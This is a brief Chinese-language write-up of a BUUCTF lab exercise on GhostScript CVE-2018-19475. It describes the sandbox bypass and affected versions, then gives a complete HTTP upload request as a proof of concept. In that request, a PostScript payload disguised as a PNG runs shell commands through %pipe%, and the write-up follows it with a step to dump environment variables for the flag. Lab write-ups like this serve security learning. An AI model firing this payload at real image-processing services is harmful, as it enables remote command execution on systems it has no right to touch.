Buuctf [GhostScript]CVE-2018-19475

漏洞描述

8 月 21 号，Tavis Ormandy 通过公开邮件列表，再次指出 GhostScript 的安全沙箱可以被绕过，通过构造恶意的图片内容，将可以造成命令执行、文件读取、文件删除等漏洞

GhostScript 被许多图片处理库所使用，如 ImageMagick、Python PIL 等，默认情况下这些库会根据图片的内容将其分发给不同的处理方法，其中就包括 GhostScript。

./psi/zdevice2.c文件存在安全特征问题漏洞。该漏洞是源于网络系统或产品中缺少身份验证、访问控制、权限管理等安全措施。

漏洞影响
Ghostscript 9.26之前版本

漏洞复现

上传一个图片

执行命令id > /tmp/success && cat /tmp/success

poc

POST / HTTP/1.1
Host: node4.buuoj.cn:26462
Content-Length: 298
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node4.buuoj.cn:26462
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfHmUI12CQfQstekf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://node4.buuoj.cn:26462/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryfHmUI12CQfQstekf
Content-Disposition: form-data; name="file_upload"; filename="333.png"
Content-Type: image/png

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file

------WebKitFormBoundaryfHmUI12CQfQstekf--

 打印环境变量，获得flag